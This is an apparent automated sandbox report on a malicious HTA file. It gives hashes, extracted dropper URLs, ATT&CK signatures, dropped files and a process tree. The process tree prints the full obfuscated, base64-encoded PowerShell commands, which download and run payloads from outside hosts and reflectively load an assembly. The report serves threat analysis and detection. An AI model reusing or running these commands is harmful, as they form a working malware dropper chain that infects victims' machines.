Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    11-12-2024 10:29

General

  • Target

    nicewithgreatfeaturesreturnformebestthingsgivensoofar.hta

  • Size

    81KB

  • MD5

    76277ab4bde108fed474724b88ad0e39

  • SHA1

    f73ba378275e5bc2492e53b63c96c22f35599ffc

  • SHA256

    62db7e02b51b89f767c5740bb8569668ddcf134b2865959d9fc7a749209d0539

  • SHA512

    7a914101c566fcf41b596ceafdde08674a979c9c20731d2e9a1dd0d58cf360204bca82b4680faa684806a5e7e4e88f285cb63bf414fd613878f7281cf60fc5a1

  • SSDEEP

    768:tmbUZA+cT/RVeU2Dx6AyZ6LAuAHAbvOx7ze2pe2Ju2x4/mlpu6ae28RWHTuQBwxW:tD

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Evasion via Device Credential Deployment 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\nicewithgreatfeaturesreturnformebestthingsgivensoofar.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2360
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/C PowersHELl.eXE -EX ByPaSs -nop -W 1 -c deviCEcREdENTiaLDepLOYMent.eXE ; InVOkE-ExpRESsIOn($(InVoKE-EXpreSSiOn('[SysTEM.tEXt.ENcOdIng]'+[chaR]58+[ChAr]58+'uTf8.GETsTrInG([sysTEm.cOnVERt]'+[cHar]58+[char]0X3a+'FRoMBAse64StRinG('+[chAR]0x22+'JDZMOGwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBRGQtdFlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYkVSRGVGSW5pdGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsTU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT3NoV2VtdixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVWVreVNwR3BtSixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2JkU3pCT3AsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsWmZpS2tRbmFKcixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRmY2pmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJYb0UiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lU3BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdUxxaHlmQUsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNkw4bDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk1LjIzNS4yOS84MDgvdmVyeW5pY2VjcmVhbXljaGlja2VuZnZvdXJhdGVkaXNoZXNmb3JldmVyeW9uZXdob2lub25saW5ld2l0aC50SUYiLCIkRU52OkFQUERBVEFcdmVyeW5pY2VjcmVhbXljaGlja2VuZnZvdXJhdGVkaXNoZXNmb3JldmVyeW9uZXdoby52YlMiLDAsMCk7U1RhUlQtU0xlZXAoMyk7aU52b2tlLWV4cHJFc1Npb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlbnY6QVBQREFUQVx2ZXJ5bmljZWNyZWFteWNoaWNrZW5mdm91cmF0ZWRpc2hlc2ZvcmV2ZXJ5b25ld2hvLnZiUyI='+[CHaR]34+'))')))"
      2⤵
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2408
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        PowersHELl.eXE -EX ByPaSs -nop -W 1 -c deviCEcREdENTiaLDepLOYMent.eXE ; InVOkE-ExpRESsIOn($(InVoKE-EXpreSSiOn('[SysTEM.tEXt.ENcOdIng]'+[chaR]58+[ChAr]58+'uTf8.GETsTrInG([sysTEm.cOnVERt]'+[cHar]58+[char]0X3a+'FRoMBAse64StRinG('+[chAR]0x22+'JDZMOGwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBRGQtdFlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYkVSRGVGSW5pdGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsTU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT3NoV2VtdixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVWVreVNwR3BtSixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2JkU3pCT3AsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsWmZpS2tRbmFKcixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRmY2pmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJYb0UiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lU3BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdUxxaHlmQUsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNkw4bDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk1LjIzNS4yOS84MDgvdmVyeW5pY2VjcmVhbXljaGlja2VuZnZvdXJhdGVkaXNoZXNmb3JldmVyeW9uZXdob2lub25saW5ld2l0aC50SUYiLCIkRU52OkFQUERBVEFcdmVyeW5pY2VjcmVhbXljaGlja2VuZnZvdXJhdGVkaXNoZXNmb3JldmVyeW9uZXdoby52YlMiLDAsMCk7U1RhUlQtU0xlZXAoMyk7aU52b2tlLWV4cHJFc1Npb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlbnY6QVBQREFUQVx2ZXJ5bmljZWNyZWFteWNoaWNrZW5mdm91cmF0ZWRpc2hlc2ZvcmV2ZXJ5b25ld2hvLnZiUyI='+[CHaR]34+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1060
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xtjsm4q8.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2204
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9DB7.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC9DB6.tmp"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2808
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\verynicecreamychickenfvouratedishesforeveryonewho.vbS"
          4⤵
          • Blocklisted process makes network request
          • System Location Discovery: System Language Discovery
          • Modifies system certificate store
          • Suspicious use of WriteProcessMemory
          PID:2164
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $midroll = 'aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07JHRlcnJpZnlpbmduZXNzID0gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2R5dGZsdDYxbi9pbWFnZS91cGxvYWQvdjE3MzMxMzQ5NDcvYmtscHlzZXlldXQ0aW1wdzUwbjEuanBnICc7JGRvbG91cnMgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRtZWNvcHRlcmFucyA9ICRkb2xvdXJzLkRvd25sb2FkRGF0YSgkdGVycmlmeWluZ25lc3MpOyRub3NleSA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRtZWNvcHRlcmFucyk7JG1pY3JvZmljaGUgPSAnPDxCQVNFNjRfU1RBUlQ+Pic7JHNlbGVjdGl2ZWx5ID0gJzw8QkFTRTY0X0VORD4+JzskaXNvZXVnZW5vbCA9ICRub3NleS5JbmRleE9mKCRtaWNyb2ZpY2hlKTskd3JlYWtzID0gJG5vc2V5LkluZGV4T2YoJHNlbGVjdGl2ZWx5KTskaXNvZXVnZW5vbCAtZ2UgMCAtYW5kICR3cmVha3MgLWd0ICRpc29ldWdlbm9sOyRpc29ldWdlbm9sICs9ICRtaWNyb2ZpY2hlLkxlbmd0aDskcG9zdGVyaXNlZCA9ICR3cmVha3MgLSAkaXNvZXVnZW5vbDskZW52aWUgPSAkbm9zZXkuU3Vic3RyaW5nKCRpc29ldWdlbm9sLCAkcG9zdGVyaXNlZCk7JGhlcm1zID0gLWpvaW4gKCRlbnZpZS5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkZW52aWUuTGVuZ3RoKV07JGFtYmlnZW5hbCA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGhlcm1zKTskc3RlcmlsaXR5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkYW1iaWdlbmFsKTskdm9ldGdhbmdlciA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyR2b2V0Z2FuZ2VyLkludm9rZSgkbnVsbCwgQCgnMC9rZTQ0MC9yL2VlLmV0c2FwLy86c3B0dGgnLCAnYWRkb29tJywgJ2FkZG9vbScsICdhZGRvb20nLCAnQWRkSW5Qcm9jZXNzMzInLCAnYWRkb29tJywgJ2FkZG9vbScsJ2FkZG9vbScsJ2FkZG9vbScsJ2FkZG9vbScsJ2FkZG9vbScsJ2FkZG9vbScsJzEnLCdhZGRvb20nKSk7aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07';$Angel = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($midroll));Invoke-Expression $Angel
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:652

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabBC0F.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\RES9DB7.tmp

    Filesize

    1KB

    MD5

    17b95f55b81008dc97776ec3c9626a8e

    SHA1

    2bb52fd94cb008f15c5799292db3a078649a39d8

    SHA256

    ffa8a570f826961d31dac2e28e3b474db9fe6d49517229b26680a28bdbd9e0e3

    SHA512

    7760cb1e5a6fae6bf5637298fd2a0fa72b261d9725c2950427ae2a906a9d376d9d8cebda792acf4fea99f98ed3334f1d53325539934c43c0bb7c27383361f156

  • C:\Users\Admin\AppData\Local\Temp\TarBCCD.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • C:\Users\Admin\AppData\Local\Temp\xtjsm4q8.dll

    Filesize

    3KB

    MD5

    b29dc89dadbfdceea039d4f4044b6634

    SHA1

    1fef04e77690eafe03b49f302d383fd76df57189

    SHA256

    f5cfac9c9e829a7a415c0ee986262070384de40fcb4c3e41b5786265f0b8cb0b

    SHA512

    6cb9cdfa817ad85afdc72f0772d492e512d7c9833ec11f968fe9eb9ed2dc1785d4f30c326b04e17e24b829e1f48289c747f917237f382cfde006e83260dccb00

  • C:\Users\Admin\AppData\Local\Temp\xtjsm4q8.pdb

    Filesize

    7KB

    MD5

    4f0aa2bdf212878950de5d3796c1127f

    SHA1

    3bd8ca09f7a57c127ea5aa3aa44274ad85c24cb1

    SHA256

    b22e6d68333aa8fd60613701d3cc6f2101b028c980d54783c39491b292a9f390

    SHA512

    5e3f61af35d2cf671adf9343343d59efa31ed103bba770a54d77c96df017fa7994f128b4541841517854cd425346d29fd397bac771e4e671e578a5b1adb2f82d

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VNKG0OWZLSDPK68CMSPZ.temp

    Filesize

    7KB

    MD5

    a1bc9582f21a67c8a6ff4e1867bb8b5f

    SHA1

    ae02e6a1d75cd0e466c8bc9bfd1437af552371b4

    SHA256

    019260cf9492e304f4f6d8f3d8cda4d28145a83cf8126150baf56d721967f63a

    SHA512

    b581db4603e03d24514019093c87a0e6be56219015dcf9f333b2e410acbd60e08ec0293525e3572e4f1713d6b3b695bbc0af6fc25ce724ad9fbebe8ff79f3efa

  • C:\Users\Admin\AppData\Roaming\verynicecreamychickenfvouratedishesforeveryonewho.vbS

    Filesize

    1KB

    MD5

    a9de1dd61052fb7164600306135b0771

    SHA1

    4efefaf03b42637e74817b4695fc086b2d95191e

    SHA256

    bfbe88f62a33e1cd2289a9179dfe2151c9427c0ccd13753a029c3dcb78852fae

    SHA512

    9ce749ff8b7bb054b827534afbd900a44e6aa03e8818d4cf9121cc9e8448ebc0a21ce641e6db4d0824c14806cd34f8fee301a523c338526cb9c5757e1547f6bd

  • \??\c:\Users\Admin\AppData\Local\Temp\CSC9DB6.tmp

    Filesize

    652B

    MD5

    b5b723afe37aafdba50e2577bec96edf

    SHA1

    51bb3d5c724c2d1f7cd2499f2f2e1c4516f41463

    SHA256

    40bff05b6c77d80c3d9b0145202b3d057647dd9d02e513aef794bacb6fb19e43

    SHA512

    a1612548345ed08d4c1c9b4313a07786895cca4b26a927ccc53e280284b5bc0cb5d25b9c1bd663565effb60bfde60b2b35c3ecdf882d41134981a058c4c526f1

  • \??\c:\Users\Admin\AppData\Local\Temp\xtjsm4q8.0.cs

    Filesize

    496B

    MD5

    ee707a34980a4df56a07be04f7825b38

    SHA1

    65ce7b9161c445f33f2f28dc13c92872c209e83a

    SHA256

    fe3dc6c711ddb4c32c5ff8b18b557804d3180005bfa99a8dc02b945d70ea5cbc

    SHA512

    1fb569ac9eaca82c89cb3ed59bffe339fe579a62668ed4899d234ab64a4b08ead39c088db17d3745eb16b7f3428b6ed7eb664ed13f90b21d00759158a40f9cd5

  • \??\c:\Users\Admin\AppData\Local\Temp\xtjsm4q8.cmdline

    Filesize

    309B

    MD5

    0b21efb2749ffac79ae2453451a5eb74

    SHA1

    9dc935c6399a165011be5445be9bdd86635dd566

    SHA256

    e138e6616ca4da0ef93d5a70c6e588693e2cb0fa990546acc67417a75728de47

    SHA512

    45771cc29dc5229089bd257379e9c213678656c6d4768aea5449b67742667f01dd7f49642ddfc8d2fbfde443b9e4fbb99b831aefed905a92406274fa93f6c487